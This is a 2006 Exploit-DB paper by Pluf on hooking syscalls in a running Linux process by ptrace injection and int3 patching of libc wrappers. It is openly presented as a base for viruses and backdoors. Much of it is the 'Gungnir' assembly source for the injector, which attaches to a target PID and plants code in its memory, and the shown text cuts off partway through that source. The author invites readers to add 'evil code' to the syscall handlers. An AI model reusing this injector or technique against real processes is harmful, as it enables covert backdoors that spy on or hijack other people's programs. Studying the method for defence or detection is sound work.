Linux Per-Process Syscall Hooking

EDB-ID:

13163

CVE:

N/A

Author:

Pluf

Type:

papers

Platform:

Multiple

Published:

2006-08-30

                      Linux Per-Process Syscall Hooking
                                 by Pluf


1. Introduction
2. Function wrapping
3. Signal handling
4. Syscall trapping
5. Limitations
6. Conclusion
7. References
A. Gungnir code



1. Introduction

This document describes a new syscall hooking technique for Linux systems and
exposes how it can be implemented as part of a virus or a backdoor in order to
take full control over an userland application. Although there are some well-
known methods for hooking functions, they are mostly based on the ELF format
itself. This technique is focused on thoses pieces of code that are externally
called by the main program and invoke a system call or system service.

A simple implementation of this hooking mechanism has been developed as a result
of the research and it is included with the article. This code provided does not
have all the features you wish but includes the required ones, is not a real
backdoor but a simple proof of concept, perfect to write your own one.


2. Function Wrapping

This section contains a brief description of the libc syscall wrapping
mechanism and how it works, if you have not ever heard of this or you need
for more information you should read the libc code and check the manual [3].

The GNU C library (glibc) provides a complete interface to request system
services through a set of functions called syscall wrappers. These functions
are used by userland programmers to execute syscalls and not be worried about
the inner mechanism of services invocation. Each system service has its own
wrapper code associated and is placed in the libc shared object.
The following is the disassembly of the mprotect() syscall wrapper:

    53              push ebx
    8b542410        mov edx, [esp+10h]
    8b4c240c        mov ecx, [esp+0ch]
    8b5c2408        mov ebx, [esp+8]
    b87d000000      mov eax, 7dh
    cd80            int 80h
    5b              pop ebx
    3d01f0ffff      cmp eax, 0fffff001h
    7301            jnc loc_b54ad
    c3              ret
    53              push ebx
    e87efdf5ff      call sub_15231
    81c341eb0500    add ebx, offset_5eb41
    31d2            xor edx, edx
    29c2            sub edx, eax
    52              push edx
    e8cdfcf5ff      call sub_15190
    59              pop ecx
    5b              pop ebx
    8908            mov [eax], ecx
    83c8ff          or eax, 0ffffffffh
    ebe0            jmp loc_b54ac
    90              nop
    90              nop
    90              nop
    90              nop

This function contains lot of code that is not useful for us now, the most
significative code can be seen at the beginning. The first instructions are the
responsible for preparing and invoking the mprotect system call from userspace.
The parameters that it takes are all moved from the stack space into the
corresponding registers, then the service number is moved into eax and finally
the syscall is invoked by using one of the available "system service invocation
instruction" (traditionally, it has been the famous int80 instruction).

Although the code should be slightly different for each wrapper, they commonly
share the same pieces of code, where the most important ones are:

    1) instructions to set the parameters:

    8b542410        mov edx, [esp+10h]
    8b4c240c        mov ecx, [esp+0ch]
    8b5c2408        mov ebx, [esp+8]

    2) instruction to set the service number:

    b87d000000      mov eax, 7dh

    3) the system service invocation instruction:

    cd80            int 80h

    4) some kind of internal error handling:

    5b              pop ebx
    3d01f0ffff      cmp eax, 0fffff001h
    7301            jnc loc_b54ad

If we have a look at the libc source code we can see an include file which
contains some macros in inline assembly, it does exactly the first two parts
of the above layout. The following macro defines a general instruction used to
execute a syscall:

    # define INTERNAL_SYSCALL(name, err, nr, args...)   \
        ({  \
        register unsigned int resultvar;    \
        EXTRAVAR_##nr                       \
        asm volatile (      \
        LOADARGS_##nr           \
        "movl %1, %%eax\n\t"        \
        "int $0x80\n\t"     \
        RESTOREARGS_##nr        \
        : "=a" (resultvar)              \
        : "i" (__NR_##name) ASMFMT_##nr(args) : "memory", "cc");    \
        (int) resultvar; })

And you can see the macro above in action in the following wrapper code:

    gid_t
    __getgid (void)
    {
        INTERNAL_SYSCALL_DECL (err);
    #if __ASSUME_32BITUIDS > 0
        INTERNAL_SYSCALL (getgid, err, 0);
    #else
    #ifdef __NR_getgid32
        if (__libc_missing_32bit_uids <= 0)
        {
            int result;

            result = INTERNAL_SYSCALL (getgid32, err, 0);
            if (! INTERNAL_SYSCALL_ERROR_P (result, err)
            || INTERNAL_SYSCALL_ERRNO (result, err) != ENOSYS)
            return result;

            __libc_missing_32bit_uids = 1;
        }
    # endif /* __NR_getgid32 */
        /* No error checking.  */
        return INTERNAL_SYSCALL (getgid, err, 0);
    #endif
    }


3. Signal Handling

This section will discuss what happens on userspace when a signal handler is
invoked and especially how the execution contexts are saved and restored. The
following is not a deep description of the Linux signal internals, only those
parts that are involved in our hooking method will be showed, if you need more
information check the kernel code.

A programmer can modify the behaviour of an application by simply changing the
default action taken by the process when a specific signal is delivered. When a
process receive a signal the kernel checks if exist a handler registered for it,
if it does, then the kernel executes the function "handle_signal" which
basically does the following three steps:

    * save current context
    * set handler context
    * begin handler execution

The first step consists in saving the current execution context which comprises
the general purpose registers, among other things, at the point in which the
execution flow was interrupted by the signal. All this information is known as
"signal frame" or sigframe. This structure is used later by kernel in order to
restore the execution, so it is placed on the stack, just after the last push.
Sigframe Struct:

    (fill in by the internal kernel function "setup_Frame")
    struct sigframe
    {
        char __user *pretcode;
        int sig;
        struct sigcontext sc;
        struct _fpstate fpstate;
        unsigned long extramask[_NSIG_WORDS-1];
        char retcode[8];
    };

Where the most interesting fields are:

    * pretcode: the restorer function address, called just after signal
      handler returns. It is usually a pointer to a code that simply
      makes a call to sigreturn():

        restorer = &__kernel_sigreturn;
        if (ka->sa.sa_flags & SA_RESTORER)
               restorer = ka->sa.sa_restorer;
        /* Set up to return from userspace.  */
        err |= __put_user(restorer, &frame->pretcode);
 
    * sig: number of the delivered signal

    * sc: a sigcontext structure that contains the value of all general purpose
            registers when the program was interrupted:

        struct sigcontext {
        unsigned short gs, __gsh;
        unsigned short fs, __fsh;
        unsigned short es, __esh;
        unsigned short ds, __dsh;
        unsigned long edi;
        unsigned long esi;
        unsigned long ebp;
        unsigned long esp;
        unsigned long ebx;
        unsigned long edx;
        unsigned long ecx;
        unsigned long eax;
        unsigned long trapno;
        unsigned long err;
        unsigned long eip;
        unsigned short cs, __csh;
        unsigned long eflags;

This shows how the stack layout looks when a sigframe has been inserted
(handler prolog is not present yet):

     esp             esp
   [  |   sigframe    | --- data ---- | ebp | eip | args ]
      '---------------|                     |
       |              '---------------------'
       |               interrupted function
       |               frame
       '- restorer
         __kernel_sigreturn()

The second step consists in preparing the handler's context to be executed:

        regs->esp = (unsigned long) frame;
        regs->eip = (unsigned long) ka->sa.sa_handler;
        regs->eax = (unsigned long) sig;
        regs->edx = (unsigned long) 0;
        regs->ecx = (unsigned long) 0;

        set_fs(USER_DS);
        regs->xds = __USER_DS;
        regs->xes = __USER_DS;
        regs->xss = __USER_DS;
        regs->xcs = __USER_CS;

And finally, in the third step the execution flow came back from kernel space
and the handler is executed. Fortunately, the actions that it will do does not
affect the sigframe. Once it has finished the pretcode is loaded into eip
register and sigreturn() syscall restores the saved context.


4. Trapping syscalls

Once we have reviewed what a syscall wrapper is and what operations are involved
during a signal handling procedure we can proceed to explain the details of the
hooking mechanism.

Basically, a trapped syscall can be defined as an event notification mechanism,
used by a built-in userland syscall dispatcher. The idea is really quite
simple, just search a specific syscall wrapper and patch it with our hook, but
this hook is not the common "jmp/call" instruction which performs a flow control
transfer, but it is just a int3 instruction. As a result, each time a wrapper
code is accessed (from the main program or from a shared object) a sigtrap
signal is produced and delivered to the current process, it is catched by the
kernel and handled by an special sigtrap handler. This routine is responsible
for identifying the syscall requested and executing its associated callback
function.

Implement a syscall trapping mechanism is not really easy, it must be all coded
in assembly language because is the best way to work in the context of a runtime
process (portability problems). Also, the code should be as small as possible
(not always) and be able to performs, at least, all the following actions:

 * copy itself into the target process avoiding ASLR and similar kernel
   developer tricks
 * to have at one's disposal a good length disassembler engine
 * has symbol resolution and symbol hot-patching routines
 * has a sigtrap handler capable of dispatching syscall requests
 * optionally (but no less important) has some kind of internal error handling
   in case of crash

In fact, as you can see, it is more like a virus but is not self-propagating.
The following sections will describe some of the above features included in the
code provided and the main actions that it performs to become a hidden system
service dispatcher.

4.1. Target Process Infection

First thing the code does is just copy itself into the target process and, to
achieve that, it uses the ptrace interface available on Linux, as well as on
many other UNIX systems. This task is performed by a small piece of code called
"injector".

When you have to write some code to the process's address space you have to face
some problems which, if not treated, can cause your backdoor and also the
infected program crash after detaching. The injector code must deal with it and
ensure the injected code is executed after the process is restarted.

*) blocking syscalls:

It is quite common to modify the EIP register to point to injected code so after
detaching it from target process it can be run, this way of doing the injection
may generates problems when the previously instruction (which ptrace interrupted
) corresponds to a blocking syscall like read(),write(),etc. So if EIP is
changed, the kernel will continues the execution at this point skipping over the
syscall.

One way to solve this is to inject two pieces of code: the first one is placed
at EIP (starter) and the second one is placed into the stack (main code). Due to
the fact that the EIP register is not changed, kernel continues the execution of
the blocking syscall and when it finished the starter cames into play. The only
thing the starter must do is move the second code to a memory mapped area and
run it.

*) VDSO and vsyscall:

If you take a look to the objects loaded into the address space of any process
of your Linux system, you can see a segment called "[vdso]", it is the
"dynamically linked shared object". This object is loaded by the kernel and
contains three functions: __kernel_vsyscall(), __kernel_sigreturn() and
__kernel_rt_sigreturn(). The most important one for us is the vsyscall().
This function has the code to enter into kernel mode and there are two different
versions: int version and sysenter version. for more information about VDSO
check [6].

The problem here is that the latest kernels does not allow us to modify the code
of the VDSO segment, so we can not write the starter code into the vsyscall.
Once again there is a way to solve this new problem and it consist in searching
for the return address to the caller function:

                  ( wrapper code )
                 mov    %ebx,%edx
                 mov    0x8(%esp),%ecx
                 mov    0x4(%esp),%ebx
 ( vsyscall )    mov    $0x27,%eax       ( vsyscall )
 int 0x80 <----  call   *%gs:0x10  ----> push   %ecx
 ret      ,----> [ the starter code ]    push   %edx
  |       |      [  is placed here  ]    push   %ebp
  '-->----|                              mov    %esp,%ebp
          |                              sysenter
          |                              nop x7
          |                              jmp    0xffffe403
          |                              pop    %ebp
          |                              pop    %edx
          |                              pop    %ecx
          '----<----------------------   ret

*) VDSO analyzer:

The VDSO analyzer is just a set of small functions coded to help the code
provided to perform a runtime identification of that segment and get information
about their symbols:

 VDSOHandle *VDSOLoad(DWORD pid, DWORD base)
 VOID VDSOUnload(VDSOHandle *)
 VDSOSym *VDSOGetSym(VDSOHandle *, DWORD SymId)
 DWORD VDSOGetRet(VDSOHandle *, DWORD EIP, DWORD ESP)

4.2. Symbol resolution

Once the code has been injected the next step is to locate the syscall wrappers
to be hijacked. As was described in section 2, they are all part of the libc
shared object, so at this point some kind of built-in symbol resolver is
required.

*) shared object symbol resolver:

The symbol resolution is the most tedious process but the most funny as well.
Although exists some heuristics tricks to get the address of a shared object
symbol, only one is both reliable and faster: elf hash table. The description
of this generic mechanism is beyond the scope of this text, for more details
check out [3]. The code provided contains a function to deal with this task:
the shared object symbol resolver.

 VOID sosr(sosr *)

 sosr_flags              equ 00h ; DWORD     : options
 sosr_hash_table         equ 04h ; PVOID     : symbol hash table
 sosr_va_table           equ 08h ; PVOID     ; symbol address table
 sosr_sym_count          equ 0Ch ; DWORD     : num of symbols to be resolved
 sosr_base               equ 10h ; DWORD     : shared object base address
 sosr_dynamic            equ 14h ; DWORD     : dynamic section address
 sosr_map_names          equ 18h ; PVOID     : map name list (gsoinf_by_maps)
 sosr_lkm_names          equ 1Ch ; PVOID     : lkm name list (gsoinf_by_lkm)

The first thing the resolver does is to locate the base address of the shared
object, just only two methods to achieve this can be seriously considered: ld's
link_map structure and/or process maps file. The sosr() function take advantage
of both methods. The famous link_map list is a double linked list in which each
node describes a shared object that was loaded into the process address space.
The base address for each object is placed into this structure by the runtime
loader.

*) mapfile reader:

The Linux kernel maintains a maps file per process, commonly placed at /proc/PID
/maps, which describes all the memory mapped areas within the process. The
mapfile reader (mpfr) has been developed to cover this area, providing functions
to access the content of this file:

 DWORD mpfr_open(mpfr *)
 VOID mpfr_close(mpfr *)
 mapent *mpfr_search_by_vaddr(mpfr *mpfr, DWORD vaddr)
 mapent *mpfr_search_by_name(mpfr *mpfr, LPCSTR *name, DWORD size)
 mapent *mpfr_search_by_names(mpfr *mpfr, PVOID *names)
 mapent *mpfr_get_vdso(mpfr *mpfr)
 mapent *mpfr_get_stack(mpfr *mpfr)

The mpfr_open() routine opens the process' mapfile and build a linked list of
map entries, so you can go through this list in order to get the segment you are
searching for (the mpfr_search* and mpfr_get* routines).

The following is the content of a map entry:

 mapent_start            equ 00h ; DWORD     : beginning of segment
 mapent_end              equ 04h ; DWORD     : ending of segment
 mapent_size             equ 08h ; DWORD     : segment size
 mapent_flags            equ 0Ch ; DWORD     : segment type and options
 mapent_name             equ 10h ; LPSTR     : segment name (shared objects only)
 mapent_namesz           equ 14h ; DWORD     : segment name size
 mapent_next             equ 18h ; PMAPENT   : next entry

If you take a look to the code you will note that the mapfile reader is largely
used throughout the code, this is because it should never fail and uses a system
resource that is supposed to be always present. In fact, is the most stable
method I have found so far.

*) the magic table:

The magic table is just a big data structure which contains information about
the syscall wrappers. Each symbol has its own entry and it is 5byte long and has
the following format:

 0-1b      =   magic code
 1-5b      =   magic value

The first byte is the magic code and the value stored in it is the system call
number for the syscall wrapper referenced.

The following 4 bytes is the magic value, which is just a dword that take the
following values:

 1) a symbol name hash value
 2) a Elf32_Sym struct pointer
 3) a symbol code pointer
 4) a syscall sub-handler pointer

Essentially, when the code start, the magic value is the symbol name hash, then
, when sosr() is executed, this value is changed by a pointer to the
corresponding Elf32_Sym structure within the .dynsym section. And finally, just
a bit before the infected process is restarted, its content is changed again to
hold a pointer to a syscall handler code.

4.3 Setting Up Hooks

When the resolution process has finished and we know exactly where are placed
the wrappers, is time to insert the hooks.

*) system service invocation instruction:

As was described in section 2, a syscall wrapper is just a simple routine used
by application programmers to request a system service. This request is performe
d by executing a SSII (system service invocation instruction), so if we can
control when these instructions are executed (being replaced by a hook code) it
is possible to build a sort of pre-request and post-request layer in which each
syscall is handled by an associated handler code.

The most famous SSII is the "int 80" instruction that has been used in linux
since the earlier versions. Most recently releases of Linux kernel has
introduced support to the new sysenter/sysexit instruction which allows faster 
user to kernel transitions. The VDSO segment has been introduced to facilitate
the work of the libc, it has not to be worried about which SSII is used in the 
system, each wrapper have just only call the vsyscall() function. 
The code provided has support for all of this.

*) runtime code disassembling:

To proceed with the location of SSII's the whole symbol code must be
disassembled on runtime, so a good lde is required.  The best length
disassembler engine you can find for free (saving you to code your own) is
ADE,the Z0mbie's LDE. With this lde you can disassemble fast and is ok for our
purpose. I've changed some bytes of the code to support int80 instructions.

Initialize the table is as easy as follows:

                push    dword[ebp+ade_flagtable-gdelta]
                call    ade_init                        ; initialize tables for ade
                pop     eax

the same for disassembling:
                                                        ; ade_disasm params:
                push    dword[ebp+ade_flagtable-gdelta] ; p3: flagtable address
                push    dword[ebp+ade_dstruct-gdelta]   ; p2: disasm struct address
                push    esi                             ; p1: code address
                call    ade_disasm

*) symbol hot-patching:

When a SSII is found within the wrapper's body, it needs to be completely
replaced without modifying any previous and following instruction. The
searching process is done with help of ADE and the patching is performed with
the following chunk of code:

.patch          movzx   ecx,byte[ebx+ssii_contentsz]
                sub     esi,ecx
                mov     cl,byte[ebx+ssii_size]
                xchg    edi,esi
.write_trap:    push    byte _trap
                pop     eax
                stosb
                push    byte _nop
                pop     eax
                dec     ecx
.write_nop:     stosb
                loop    .write_nop

As you can see, first instruction's byte is changed by a int3, filling the rest
with nops. The following code snipped is an example of patched chroot() wrapper:

           pre-patch               post-patch
           ---------               ----------
0xb7ecf000 mov  %ebx,%edx       :  mov    %ebx,%edx
0xb7ecf002 mov  0x4(%esp),%ebx  :  mov    0x4(%esp),%ebx
0xb7ecf006 mov  $0x3d,%eax      :  mov    $0x3d,%eax
0xb7ecf00b int  $0x80           :  int3
                                :  nop
0xb7ecf00d mov  %edx,%ebx       :  mov    %edx,%ebx

           pre-patch               post-patch
           ---------               ----------
0xb7ecf000 mov  %ebx,%edx       :  mov    %ebx,%edx
0xb7ecf002 mov  0x4(%esp),%ebx  :  mov    0x4(%esp),%ebx
0xb7ecf006 mov  $0x3d,%eax      :  mov    $0x3d,%eax
0xb7ecf00b call *%gs:0x10       :  int3
                                :  nop x6
0xb7ecf012 mov  %edx,%ebx       :  mov    %edx,%ebx

4.4. Syscall Dispatching

This is the last step and the most important one, at this point the hooks has
been inserted, so we must prepare the "Trapped Syscall Dispatcher" (TSD).
The TSD is the default sigtrap signal handler, so it will handle any sigtrap
(syscall request) generated by the hooks. The setup_tsd() function is
responsible for installing, configuring and testing the TSD.

*) registering the TSD:

The TSD must be registered as the default SIGTRAP handler for the running
process. To do that we use the sigaction interface as follows:

set_traphndl:   xchg    ecx,edx
                lea     eax, [ebp+tsd-gdelta]
                push    eax
                push    byte sc_sigaction
                pop     eax
                int     80h
                add     esp,(4*_push)
                call    [ebp+cer2-gdelta]

Under some circumstances, an infected application could replace our TSD code by
an internal sigtrap handler. In order to avoid this problem the sigaction
interface should be hooked as well to not allow this operation.

*) registering the TSD sub-handlers

The TSD sub-handlers are just a set of functions associated to the system calls,
the most basic sub-handler is as follows:

_schndl_fork:   ; fork syscall handler:
.link:          mov     ebx,sc_fork
                cmp     eax,ebx
                jne     _schndl_read
                call    edx
.body:          call    def_schndl
                ret

All the TSD sub-handlers provided in the code are empty, except one (a basic
example). These functions are the place where you can put your favourite evil
code, each time the syscall is executed all of its parameters are available to
be inspected or whatever you want to do.

The registration of the TSD sub-handlers is performed by the following chunk of
code:

.install_sch:   ; install syscall handlers
                mov     ecx,[ebp+(magic_table+magic_entnum)-gdelta]
                lea     esi,[ebp+(magic_table+magic_entry)-gdelta]
                mov     edi,esi
.next:          xor     eax,eax
                lodsb
                stosb
                call    schndl_lookup
                stosd
                lodsd
                loop    .next

*) configuring the TSD

The TSD behaviour is configured by enabling (default) or disabling the HEP, It
means "handler execution prevention" and when it is enabled the TSD only handle
those syscall requests within the libc text segment.

*) testing the TSD

Test if the TSD works if quite simple, just generate a SIGTRAP by executing an
int3 instruction and perform some sanity checks when the TSD is executed and
when it has restored the context. The following chunk of code performs the test:

                xor     ecx,ecx
                mov     dword[ebp+hep-gdelta],ecx
                mov     eax,ecx
                inc     ecx
                mov     ebx,ecx
                inc     ecx
                mov     edx,ecx
                inc     edx
                mov     dword[ebp+pid-gdelta],eax
                int3    ; ---< internal trap >----------:
                push    byte sc_getpid
                pop     eax
                int     80h
                mov     esi,eax
                cmp     eax,dword[ebp+pid-gdelta]
                je      .enable_HEP
                call    [ebp+sdr-gdelta]


7. Limitations

The code provided is just a proof of concept demonstration, so it has some
limitations and restrictions. In first place, only intercepts syscalls executed
from wrappers functions and any request made from a different place within the
process's virtual address space may result in a bypass of the TSD, system calls
are out of our control and are passed directly to kernel. In second place, the
code is not "thread-safe", it means that the TSD has no support to handle
multiple threads, so the behaviour of a multithreading process once it has been
infected is totally unpredictable. For instance, if the thread we have infected
has not set CLONE_SIGHAND flag when it was created by a call to clone() it will
not share the table of signal handlers and, as a result, only that thread will
be able to handle our hooks whereas the rest surely will crash. Finally, the
code assume that the user has process trace capabilities and is allowed to use
ptrace() interface.


6. Conclusion

Write backdoors or viruses for Linux is always difficult, the code must run on 
different kernel versions, and not only the kernel but also other critical 
components like libraries can be updated, turning each target system different 
each other. The technique showed in this paper allows taking advantage of some 
system calls and how to use them to carry out actions that they weren't designed 
for. There are some other interesting components to be researched in order to 
improve our "black code".


7. References

[1] 29A: viri & asm masters
    http://vx.netlux.org/29a/

[2] Rootkit.com: rkit masters
    http://www.rootkit.com

[3] Linux Kernel
    http://www.kernel.org/

[4] The GNU C Library
    http://www.gnu.org/software/libc/manual/

[5] More ELF buggery - the grugq
    http://seclists.org/bugtraq/2002/May/0249.html

[6] What is linux-gate.so.1? - Johan Petersson
    http://www.trilithium.com/johan/2005/08/linux-gate/


A. Gungnir code:

; 
; Linux Per-Process Syscall Hooking Implementation (Gungnir)
; (C) by Pluf <pluf@7a69ezine.org> 
; Spain/2006
;

; compile: 
;   nasm -f elf gungnir.asm && gcc gungnir.o -nostartfiles

BITS 32

[section .text]
global _start:

; options:
;%define                 CRYPT
%define                 DBG
;%define                 TEST_SDR

; basic typedefs:
_dword                  equ     04h
_word                   equ     02h
_byte                   equ     01h

; stack offsets:
_push                   equ     _dword
_ret                    equ     _dword
_pushfd                 equ     _dword
_pushad                 equ     8*_push

_pushad_eax             equ     7*_push
_pushad_ecx             equ     6*_push
_pushad_edx             equ     5*_push
_pushad_ebx             equ     4*_push
_pushad_esp             equ     3*_push
_pushad_ebp             equ     2*_push
_pushad_esi             equ     1*_push
_pushad_edi             equ     0*_push

; procedure params:
_pparams                equ     _pushad+_ret
_pparam1                equ     _pushad+_ret+00h
_pparam2                equ     _pushad+_ret+04h
_pparam3                equ     _pushad+_ret+08h
_pparam4                equ     _pushad+_ret+0Ch

; sigframe struct:
sigfrm_ret              equ     0*4
sigfrm_sig              equ     4*1

sigfrm_ctx_gs           equ     2*_push
sigfrm_ctx_fs           equ     3*_push
sigfrm_ctx_es           equ     4*_push
sigfrm_ctx_ds           equ     5*_push
sigfrm_ctx_edi          equ     6*_push
sigfrm_ctx_esi          equ     7*_push
sigfrm_ctx_esp          equ     8*_push
sigfrm_ctx_ebp          equ     9*_push
sigfrm_ctx_ebx          equ     10*_push
sigfrm_ctx_edx          equ     11*_push
sigfrm_ctx_ecx          equ     12*_push
sigfrm_ctx_eax          equ     13*_push
sigfrm_ctx_eip          equ     16*_push

; link_map struct:
link_map_base           equ     00h
link_map_name           equ     04h
link_map_dyn            equ     08h
link_map_next           equ     0Ch

; sigaction struct:
sigact_handler          equ     00h
sigact_mask             equ     04h
sigact_flags            equ     08h
sigact_restorer         equ     0Ch

; signals:
sigtrap                 equ     05h
sigsegv                 equ     0Bh
rt_signal               equ     32+3+20

; elf offsets/values:
elf_hdr_entry           equ     18h
elf_hdr_phnum           equ     2Ch
elf_hdr_phoff           equ     1Ch

elf_phdr_vaddr          equ     08h
elf_phdr_memsz          equ     14h
elf_phdr_entsize        equ     20h
elf_phdr_type_load      equ     01h
elf_phdr_type_dynamic   equ     02h

elf_dyn_dtag            equ     00h
elf_dyn_dval            equ     04h
elf_dyn_entsize         equ     08h
elf_dyn_tag_pltgot      equ     03h

elf_sym_value           equ     04h
elf_sym_size            equ     08h

elf_image_base          equ     08048000h
elf_magic               equ     7F454C46h

; ptrace requests:
ptrace_req_attach       equ     16
ptrace_req_detach       equ     17
ptrace_req_getregs      equ     12
ptrace_req_setregs      equ     13
ptrace_req_poke         equ     4
ptrace_req_peek         equ     1

; pt_regs struct:
ptregs                  equ     (17*_push)
ptregs_eip              equ     (12*_push)
ptregs_esp              equ     (15*_push)

; instr opcodes:
_nop                    equ     090h
_trap                   equ     0CCh
_retinst                equ     0C3h

; system call numbers:
sc_exit                 equ     001h
sc_fork                 equ     002h
sc_read                 equ     003h
sc_write                equ     004h
sc_open                 equ     005h
sc_close                equ     006h
sc_waitpid              equ     007h
sc_execve               equ     00Bh
sc_lseek                equ     013h
sc_getpid               equ     014h
sc_mount                equ     015h
sc_umount               equ     016h
sc_ptrace               equ     01Ah
sc_mkdir                equ     027h
sc_rmdir                equ     028h
sc_chroot               equ     03Dh
sc_sigaction            equ     043h
sc_reboot               equ     058h
sc_mmap                 equ     05Ah
sc_munmap               equ     05Bh
sc_clone                equ     078h
sc_uname                equ     07Ah
sc_mprotect             equ     07Dh
sc_create_module        equ     07Fh
sc_init_module          equ     080h
sc_delete_module        equ     081h
sc_query_module         equ     0A7h

; magic table offsets:
magic_entnum            equ     000h
magic_entry             equ     004h
magic_code              equ     000h
magic_address           equ     001h
magic_entsize           equ     005h
magic_badentry          equ     0FFh

; ssii entry offsets:
ssii_next               equ     000h
ssii_size               equ     001h
ssii_contentsz          equ     002h
ssii_content            equ     003h

nxsf                    equ     0DEADBEEFh
blksz                   equ     1000h
fmated_stringsz         equ     40
context_size            equ     10*4  ; ten dword

; external functions:
extern                  atoi
extern                  printf

_start:         ; get argument from shell (pid) "usage: ./gungnir pid"

                pop     eax                             ; argc
                dec     eax                             ; exec name
                jnz     .get_pid                        ; no args, usage!!
                call    .usage
                db      "%s <pid>",0Ah,00h
.usage:         call    printf
                call    _exit
.get_pid:       pop     ebx
                call    atoi
                xchg    esi,eax                         ; esi = pid

injector:       ;----[ injector routine ]---------------: Inject the code into the target process
                                                        ; (use ptrace interface)
                call    getDelta                        ; get delta offset
                xor     eax,eax
                cdq

unprotect:      push    dword blksz                     ; blksz = 4096
                push    eax                             ; block list = 0
                push    eax                             ; maps count = 0
                lea     edx,[ebp+self_maps-gdelta]
                push    edx                             ; map file path
                push    eax                             ; first entry = 0
                mov     ebx,esp
                push    ebx                             ; *mpfr
                call    mpfr_open                       ; create mpfr for current process

                lea     ecx,[ebp+unprotect-gdelta]      ; get the map entry which
                push    ecx                             ; describes this segment
                push    ebx                             
                call    mpfr_search_by_vaddr

                push    7h                              ; unprotect text segment
                pop     edx
                mov     ecx,[eax+mapent_size]
                mov     ebx,[eax+mapent_start]
                push    byte sc_mprotect
                pop     eax
                int     80h
                call    injerr

                add     esp,(2*_push)
                pop     edx                             ; *mpfr
                lea     ecx,[ebp+maps-gdelta]           ; maps pointer is used by sosr(),
                mov     dword[ecx],esp                  ; points to the curret mpfr

                push    sosr_flag_twotbl
                lea     ebx,[ebp+func_vatbl-gdelta]
                push    ebx
                lea     ebx,[ebp+func_hashtbl-gdelta]
                push    ebx
                call    rslv_libcsyms                   ; resolve some libc symbols

                lea     ebx,[ebp+sosr_struct-gdelta]    ; clean base and dynamic
                mov     [ebx+sosr_base],eax             ; fields of sosr struct
                mov     [ebx+sosr_dynamic],eax

                push    edx
                call    mpfr_close                      ; free the current mpfr
                add     esp,(9*_push)

get_tpmaps:     sub     esp,fmated_stringsz             ; get space enough to hold the
                mov     eax,esp                         ; formated string
                push    esi                             ; pid (argv[1])
                lea     ebx,[ebp+pid_maps-gdelta]
                push    ebx                             ; format string
                push    eax                             ; buffer
                call    [ebp+va_sprintf-gdelta]

                lea     ecx,[ebp+mpfr_struct-gdelta]
                mov     dword[ecx+mpfr_blk_size],blksz
                pop     dword[ecx+mpfr_path]            ; path
                push    ecx                             ; *mpfr
                call    mpfr_open                       ; create mpfr for the target process
                add     esp,byte(3*_push)               ; restore stack

attach:         xchg    ecx,esi                         ; attach to the target process
                push    byte ptrace_req_attach          ; ecx = pid
                pop     ebx
                push    byte sc_ptrace
                pop     eax
                int     80h
                call    injerr

waitpid:        cdq                                     ; wait for child to stop
                xchg    ebx,ecx
                xchg    ecx,eax
                push    byte sc_waitpid
                pop     eax
                int     80h                             ; ret eax = pid 

getregs:        sub     esp,byte ptregs                 ; get registers
                mov     esi,esp
                xchg    ebx,ecx
                mov     bl,byte ptrace_req_getregs
                push    byte sc_ptrace
                pop     eax
                int     80h
                call    injerr

get_eip:        mov     edx,[esp+ptregs_eip]            ; get and save orig EIP
                mov     dword[ebp+inj_orig_eip-gdelta],edx

                push    edx
                lea     eax,[ebp+mpfr_struct-gdelta]
                push    eax
                call    mpfr_search_by_vaddr            ; get map entry which EIP points to
                add     esp,(2*_push)

                test    eax,eax
                je      .seg_notfound                   ; eax = 0, map not found
                test    byte[eax+mapent_flags],byte stype_vdso ; check if EIP points to VDSO
                je      .check_eip                      ; not points to VDSO, we can inject the code directly

                xchg    edi,eax                         ; ebx = mapent

                push    dword[edi+mapent_start]         ; base
                push    ecx                             ; pid
                call    VDSOLoad                        ; get information about VDSO
                add     esp,(2*_push)

                push    dword[esp+ptregs_esp]           ; esp
                push    edx                             ; eip
                push    eax                             ; *VDSOHandle
                call    VDSOGetRet                      ; get address to inject the starter
                add     esp,(3*_push)

                xchg    edx,eax                         ; set and save new eip
                mov     dword[ebp+inj_orig_eip-gdelta],edx
                xchg    eax,edi

.check_eip:     mov     edi,[eax+mapent_end]            ; checks if there is space enugh
                sub     edi,edx                         ; to store the "starter" code
                cmp     edi,[ebp+starter_sz-gdelta]     ; between EIP and the end of the
                jae     save_host_code                  ; segment
.seg_notfound:  call    _exit

save_host_code: mov     edi,[ebp+starter_sz-gdelta]     ; save host_code, this small chunck of code
                lea     esi,[ebp+host_code-gdelta]      ; of the target process will be replaced
                mov     bl,byte ptrace_req_peek         ; by the "starter" routine
.read_dword:    push    byte sc_ptrace
                pop     eax
                int     80h
                call    injerr
                lodsd
                add     edx,byte 4
                sub     edi,byte 4
                jne     .read_dword

                mov     edx,[ebp+inj_orig_eip-gdelta]   ; eip
                xchg    esi,ecx                         ; esi = pid

get_esp:        mov     eax,[esp+ptregs_esp]            ; get and save orig esp
                mov     dword[ebp+inj_orig_esp-gdelta],eax
                sub     eax,dword[ebp+stack_padd-gdelta]; get enough space into the stack
                push    eax                             ; to inject the main code

.set_starterGD: add     eax, byte (gdelta-schooker)     ; point exactly to gdelta label of the schooker routine
                mov     dword[ebp+starter_GD-gdelta],eax ; it is used to access and modify schooker's data
                lea     edi,[ebp+starter-gdelta]        ; init of starter

.check_esp:     lea     eax,[ebp+mpfr_struct-gdelta]
                push    eax                             ; *mpfr
                call    mpfr_search_by_vaddr            ; get map entry which "esp" points to
                pop     ecx
                test    eax,eax
                je      .seg_notfound                   ; eax = 0, map not found
                pop     ecx
                cmp     ecx,[eax+mapent_start]          ; check if there is enough space to
                push    ecx                             ; store the main code into the stack
                jge     inject_starter
.seg_notfound:  call    _exit

inject_starter: mov     ebp,[ebp+starter_sz-gdelta]     ; inject starter routine
                mov     ecx,esi
                mov     bl,byte ptrace_req_poke         ; bl = 4
.write_dword:   mov     esi,dword[edi]
                push    byte sc_ptrace
                pop     eax
                int     80h
                call    injerr
                add     edi,ebx
                add     edx,ebx
                sub     ebp,ebx
                jne     .write_dword

inject_schker:  pop     edx                             ; inject schooker routine
                mov     edi,schooker
                mov     bl,byte ptrace_req_poke         ; bl = 4
.write_dword:   mov     esi,dword[edi]
                push    byte sc_ptrace
                pop     eax
                int     80h
                call    injerr
                add     edi,ebx
                add     edx,ebx
                cmp     edi,fini
                jbe     .write_dword

detach:         cdq
                mov     esi,edx                         ; detaches from the process
                mov     bl, byte ptrace_req_detach
                push    byte sc_ptrace
                pop     eax
                int     80h
                call    injerr

_exit:          xor     eax,eax                         ; exit(0)
                mov     ebx,eax
                inc     eax
                int     80h

injerr:         test    eax,eax
